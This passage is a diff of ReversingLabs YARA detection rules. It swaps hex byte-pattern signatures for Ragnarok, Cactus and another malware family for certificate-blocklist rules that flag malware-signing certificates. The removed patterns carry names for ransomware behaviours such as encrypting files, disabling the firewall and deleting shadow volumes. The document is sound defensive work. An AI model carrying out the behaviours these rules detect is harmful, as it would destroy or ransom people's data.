E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? - ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 4B - 75 ?? 89 FF 90 BB ?? ?? ?? ?? 89 C9 4B 75 ?? 90 90 BB ?? ?? ?? ?? 4B 75 ?? BB ?? ?? - ?? ?? 4B 75 ?? BB ?? ?? ?? ?? 4B 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 90 BB ?? ?? ?? ?? 89 D2 4B 75 ?? 6A ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? BA ?? - ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 90 89 C9 BB ?? ?? ?? ?? 89 FF 4B 75 ?? 68 ?? ?? ?? ?? - 6A ?? 56 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 D2 4B 75 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 33 - C0 A3 ?? ?? ?? ?? 64 8B 35 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? - 90 89 F6 90 BB ?? ?? ?? ?? 89 DB 4B 75 ?? 89 D2 89 C0 BB ?? ?? ?? ?? 89 D2 4B 75 ?? - C7 05 ?? ?? ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 FF 4B 75 ?? 89 C0 0F 31 90 89 C7 0F - 31 90 89 C0 29 F8 89 D2 89 DB 77 ?? 90 90 89 C9 89 F6 8B 3D ?? ?? ?? ?? 90 90 89 C9 - 89 F6 90 03 3D ?? ?? ?? ?? 90 90 89 C9 89 F6 FF D7 89 F6 90 90 BB ?? ?? ?? ?? 4B 75 - ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? C3 - } - $find_files = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 C0 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 - ?? 8B 58 ?? 83 7B ?? ?? 75 ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8D 55 ?? - A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 73 ?? 6A ?? 8D 45 ?? 50 8B 43 ?? 50 E8 ?? ?? ?? ?? - 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? - 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 43 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C6 85 ?? - ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? C6 85 - ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 8D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 EB ?? 8B 43 ?? 89 - 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? - 89 B5 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 95 ?? ?? ?? ?? - A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B D8 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 - } - $remote_connection = { - 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 FF 05 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? - ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 66 8B 83 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? - ?? ?? 8D 55 ?? 33 C0 8A 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 68 ?? ?? ?? ?? 66 8B 83 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? - ?? ?? 8D 55 ?? 33 C0 8A 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 45 ?? 8D 93 ?? ?? ?? - ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 45 ?? 8D 93 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? - ?? 8B 08 FF 51 ?? 8D 55 ?? 0F B7 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 8D 55 ?? 0F B7 - 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 - ?? 8B 83 ?? ?? ?? ?? 8B 08 FF 51 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? - 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 81 FE ?? ?? ?? ?? 76 ?? E8 ?? ?? ?? ?? 66 89 B3 ?? - ?? ?? ?? 66 C7 45 ?? ?? ?? 66 C7 45 ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 0F B7 C6 50 E8 ?? ?? ?? ?? 66 81 BB ?? ?? ?? ?? ?? ?? 75 ?? 8D 4D ?? 66 BA - ?? ?? 8B C3 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 50 0F B7 83 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? FF 0D ?? ?? ?? - ?? 83 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 - } - $remote_ftp_connection = { - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 66 - 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? - ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? - ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 81 B8 ?? ?? ?? ?? ?? ?? 75 ?? B9 - ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 66 8B 80 - ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 - ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? - ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 83 B8 - ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 ?? 8D 55 ?? 8B 5D ?? 8B 83 - ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 - ?? 8A 80 ?? ?? ?? ?? 2C ?? 72 ?? 74 ?? FE C8 74 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B - 45 ?? FF B0 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? FF B0 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? EB ?? 8B 45 ?? 8B 88 - ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 - FF 53 ?? EB ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 ?? 83 B8 ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? - 80 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? - ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? - 8B 45 ?? 66 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 - ?? ?? ?? ?? ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? - B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 81 B8 ?? ?? ?? ?? ?? - ?? 75 ?? B9 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 88 ?? ?? ?? ?? 8D - 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 4D ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 45 - ?? 66 8B 80 ?? ?? ?? ?? 66 3D ?? ?? 7E ?? 66 3D ?? ?? 7D ?? 8B 45 ?? 66 83 B8 ?? ?? - ?? ?? ?? 74 ?? 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8B 4D ?? B2 ?? - A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 66 83 B8 ?? ?? ?? ?? ?? 74 ?? - 8B 5D ?? 8B 55 ?? 8B 83 ?? ?? ?? ?? FF 93 - } - condition: - uint16( 0 ) == 0x5A4D and $do_dll_stuff_and_create_thread and $find_files and $remote_connection and $remote_ftp_connection + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Baltservis LLC" and ( pe.signatures [ i ] . serial == "00:b6:3e:42:99:d0:b0:e2:dc:da:eb:97:61:67:a2:32:35" or pe.signatures [ i ] . serial == "b6:3e:42:99:d0:b0:e2:dc:da:eb:97:61:67:a2:32:35" ) and 1604102400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ragnarok : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_1Dabae616705F5A51152Eac48423F354 : INFO FILE { meta: - description = "Yara rule that detects Ragnarok ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "263a671e-dfdb-5ab8-9bb9-355c76a88c10" - date = "2020-07-07" - modified = "2020-07-15" + id = "8b050402-d5d3-5733-9a72-02386d850a04" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ragnarok.yara#L1-L110" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14914-L14930" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "aaa17ab98b59a5c8c71a2b82a9bf29dd3a1a1719deaf08a3bafa77895bc10311" + logic_hash = "0bb14ececa3a78e1a2e71cfdee8bc57678251b15151d156ef5fa754b2438ee35" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ragnarok" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 - F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F 8B E5 5D C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 - ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 75 ?? FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B - 5D ?? 8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 - EB ?? 8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF - 57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 - C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C - ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 - ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 - 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? - 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? - ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? - ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 - } - $find_files_p2 = { - 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF - 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 - ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? - 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? - ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 - 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 - 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? - ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? - ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? - 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? - 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 8B 4D ?? 56 57 89 - 85 ?? ?? ?? ?? 33 FF 33 C0 89 8D ?? ?? ?? ?? 6A ?? 51 89 85 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 8D 70 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 8A 0E - 3A 08 75 ?? 84 C9 74 ?? 8A 4E ?? 3A 48 ?? 75 ?? 83 C6 ?? 83 C0 ?? 84 C9 75 ?? 33 C0 - EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 - 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 8B 40 ?? 8B F8 E8 ?? ?? ?? ?? - 33 D2 B9 ?? ?? ?? ?? F7 F1 8A 04 3A 88 04 1E 46 83 FE ?? 7C ?? FF B5 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 33 C9 23 F9 89 8D ?? ?? ?? ?? 3D ?? ?? ?? ?? - 0F 87 ?? ?? ?? ?? 48 83 E0 ?? 83 C0 ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? FF B5 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF - } - $encrypt_files_p2 = { - 0F 84 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 57 8B F0 E8 ?? ?? ?? - ?? 83 C4 ?? 33 FF 3B B5 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 3B 85 ?? ?? ?? ?? 0F 85 - ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? - ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 50 53 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 85 ?? ?? ?? - ?? 57 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 75 ?? 57 6A ?? - 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? - ?? 83 C4 ?? 3B 85 ?? ?? ?? ?? 75 ?? 57 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 33 FF 56 E8 - ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 5B 85 C0 74 ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 33 CD - 5E E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $disable_fw_and_delete_shadow_volumes = { - 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 74 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A - ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? FF D7 E9 ?? ?? - ?? ?? 6A ?? FF 35 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? - 50 FF 35 ?? ?? ?? ?? FF D3 6A ?? FF 35 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? 8B 48 ?? 51 - FF 35 ?? ?? ?? ?? FF D3 8B F8 8D 85 ?? ?? ?? ?? 50 FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? - ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 40 ?? 50 6A ?? FF 95 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A - ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? - ?? ?? ?? 8B 40 ?? 50 6A ?? FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? - 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? - FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? - ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? FF D6 - } - condition: - uint16( 0 ) == 0x5A4D and ( $disable_fw_and_delete_shadow_volumes ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "1d:ab:ae:61:67:05:f5:a5:11:52:ea:c4:84:23:f3:54" and 1470960000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Cactus : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_50D08F3C9Bf86Fba52Cf592B4Fe6Eacf : INFO FILE { meta: - description = "Yara rule that detects Cactus ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f391919a-b433-5f8d-8051-f0467118fa1b" - date = "2023-12-15" - modified = "2023-12-15" + id = "f315cdda-4b95-534d-94db-9a04e2da6385" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Cactus.yara#L1-L190" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14932-L14948" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2953b67e926cb653df0de208b098da3d5c16e6690842ab28fbf8c37cd16f54d7" + logic_hash = "ca613e4b45b9bb1ef7564b9fc6321bccc0f683298de692a3db2bf841db9010ef" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Cactus" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 41 57 41 56 41 55 41 54 56 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 29 C4 48 8D AC 24 - ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? - ?? ?? ?? 48 98 48 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 89 85 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 4C 8D 4D - ?? 4C 8D 45 ?? 48 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 - 89 54 24 ?? 48 8B 95 ?? ?? ?? ?? 48 89 54 24 ?? 48 89 CA 48 89 C1 E8 ?? ?? ?? ?? 48 - 8D 45 ?? 48 8B 95 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 - ?? 48 8B 95 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 - 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 DA - 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA - ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C2 - 48 8D 85 ?? ?? ?? ?? 41 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8 ?? - ?? ?? ?? BA ?? ?? ?? ?? 48 